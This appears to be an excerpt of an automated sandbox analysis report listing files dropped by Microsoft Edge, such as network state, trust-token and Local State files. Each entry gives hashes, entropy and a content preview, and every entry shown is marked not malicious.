Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF4ec9e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries~RF472bb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\bcc21955-b1a5-46a7-8b2d-2059c1b32fcb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\c110ea29-0ed2-4b4a-bffa-0e51ab48603b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\ca471a5f-3c97-41c0-a757-fc7d40faad6b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\ccb7b95b-5350-488b-a8a9-585b833f5e03.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiBn1KKyRY:YHpoeS7PMVKJTnMRK3B1KF+
MD5:	F32592F4926E25E0D647EA7E4CBCD3FE
SHA1:	4126DAA71810BDC438563699F77D5DA66DD3295E
SHA-256:	BB0A228D78AE9A4E3508B13B041710AAA7E658AAA526FA553719851EB4F2303A
SHA-512:	96F9B027B0E7E44E14006EAC6DE05A6CF684F5D6427004737CC379DC02875FA1D65C422AB6CA0EF89C0555ACD12B1D99F552894F15EE9EAF1A203FE58835A35D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\cffc29ba-429a-4d51-b070-ed38ff004770.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\eae95d7f-b83d-45bb-b041-b7b21f940b36.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f21042d6-aab4-4fc3-a2fe-46a598d8d43c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.558309844018129
Encrypted:	false
SSDEEP:	768:JJAx7T7pLGLpIRWPsefza8F1+UoAYDCx9Tuqh0VfUC9xbog/OVEh9dBrwkZp3tuV:JJAx7FcpIRWPsefzau1jalbdykntu
MD5:	3D359D35A3952D029123D4D0C23226BE
SHA1:	794C32D7AA4144BD7EF499CA15582C1E8A52CEC0
SHA-256:	A48518BBEDC085F3672D508FE1D8BB76657466C6A2FC009670E3CB85207C7D2E
SHA-512:	5003F6C804D40AF6BEEB191D40D0A54835E6AB302CFA4353C7BAD1820AF80060E5736044F0BDA26F01FB6C99DAAA8949A756DFFBDBF89D65D45EBCBD964D352B
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376254938691638","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376254938691638","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090791420373575
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMWwuF9hDO6vP6O+Ptbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEI6Gtbz8hu3VlXr4CRo1
MD5:	CCD8A243647CA27DC67D53710B9D1A94
SHA1:	CBD9B4D4537DF494FBBC09DB0A0C7532947B6F04
SHA-256:	C203644A38D222857213F2B7C8ABC785AB82D1930EAEB22D48E13FFF209EC9F1
SHA-512:	176C87F9CDAE4EDE2A8F7D3FAF071099017BD5DD67A02260A6C3E9FBF48323A628BFB8AB664077DC3EEA3F42F639DFB8C369730ECFAA4E13D7786568CCBB2714
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF36330.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090791420373575
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMWwuF9hDO6vP6O+Ptbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEI6Gtbz8hu3VlXr4CRo1
MD5:	CCD8A243647CA27DC67D53710B9D1A94
SHA1:	CBD9B4D4537DF494FBBC09DB0A0C7532947B6F04
SHA-256:	C203644A38D222857213F2B7C8ABC785AB82D1930EAEB22D48E13FFF209EC9F1
SHA-512:	176C87F9CDAE4EDE2A8F7D3FAF071099017BD5DD67A02260A6C3E9FBF48323A628BFB8AB664077DC3EEA3F42F639DFB8C369730ECFAA4E13D7786568CCBB2714
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF364c6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090791420373575
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMWwuF9hDO6vP6O+Ptbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEI6Gtbz8hu3VlXr4CRo1
MD5:	CCD8A243647CA27DC67D53710B9D1A94
SHA1:	CBD9B4D4537DF494FBBC09DB0A0C7532947B6F04
SHA-256:	C203644A38D222857213F2B7C8ABC785AB82D1930EAEB22D48E13FFF209EC9F1
SHA-512:	176C87F9CDAE4EDE2A8F7D3FAF071099017BD5DD67A02260A6C3E9FBF48323A628BFB8AB664077DC3EEA3F42F639DFB8C369730ECFAA4E13D7786568CCBB2714
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38b88.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090791420373575
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMWwuF9hDO6vP6O+Ptbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEI6Gtbz8hu3VlXr4CRo1
MD5:	CCD8A243647CA27DC67D53710B9D1A94
SHA1:	CBD9B4D4537DF494FBBC09DB0A0C7532947B6F04
SHA-256:	C203644A38D222857213F2B7C8ABC785AB82D1930EAEB22D48E13FFF209EC9F1
SHA-512:	176C87F9CDAE4EDE2A8F7D3FAF071099017BD5DD67A02260A6C3E9FBF48323A628BFB8AB664077DC3EEA3F42F639DFB8C369730ECFAA4E13D7786568CCBB2714
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3b99d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090791420373575
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMWwuF9hDO6vP6O+Ptbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEI6Gtbz8hu3VlXr4CRo1
MD5:	CCD8A243647CA27DC67D53710B9D1A94
SHA1:	CBD9B4D4537DF494FBBC09DB0A0C7532947B6F04
SHA-256:	C203644A38D222857213F2B7C8ABC785AB82D1930EAEB22D48E13FFF209EC9F1
SHA-512:	176C87F9CDAE4EDE2A8F7D3FAF071099017BD5DD67A02260A6C3E9FBF48323A628BFB8AB664077DC3EEA3F42F639DFB8C369730ECFAA4E13D7786568CCBB2714
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF475a9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090791420373575
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMWwuF9hDO6vP6O+Ptbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEI6Gtbz8hu3VlXr4CRo1
MD5:	CCD8A243647CA27DC67D53710B9D1A94
SHA1:	CBD9B4D4537DF494FBBC09DB0A0C7532947B6F04
SHA-256:	C203644A38D222857213F2B7C8ABC785AB82D1930EAEB22D48E13FFF209EC9F1
